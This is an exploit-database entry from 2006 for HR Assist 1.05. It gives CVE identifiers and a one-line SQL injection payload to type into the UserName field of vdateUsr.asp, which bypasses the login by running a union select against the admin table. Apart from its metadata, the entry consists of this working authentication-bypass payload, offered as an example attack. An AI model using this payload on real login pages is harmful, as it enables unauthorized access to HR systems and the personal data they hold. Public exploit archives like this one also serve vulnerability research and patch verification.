HR Assist 1.05 - 'vdateUsr.asp' Remote Authentication Bypass

Author: ajann
type: webapps
platform: asp
port: 
date_added: 2006-12-08 
date_updated:  
verified: 1 
codes: OSVDB-31909;CVE-2006-6525;CVE-2006-6524 
tags: 
aliases:  
screenshot_url:  
application_url: 

*******************************************************************************
# Title   :  HR Assist <= 1.05 (vdateUsr.asp) Remote Login ByPass SQL Injection
# Author  :  ajann
# Page    :  http://www.ezhrs.com
# Contact :   :(
# $$$     :  $45

*******************************************************************************
Example:

###http://[target]/[path]/

UserName: ' union select 0,0,0,0,0,0,0,0,0,0,0,0,0 from admin


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-09]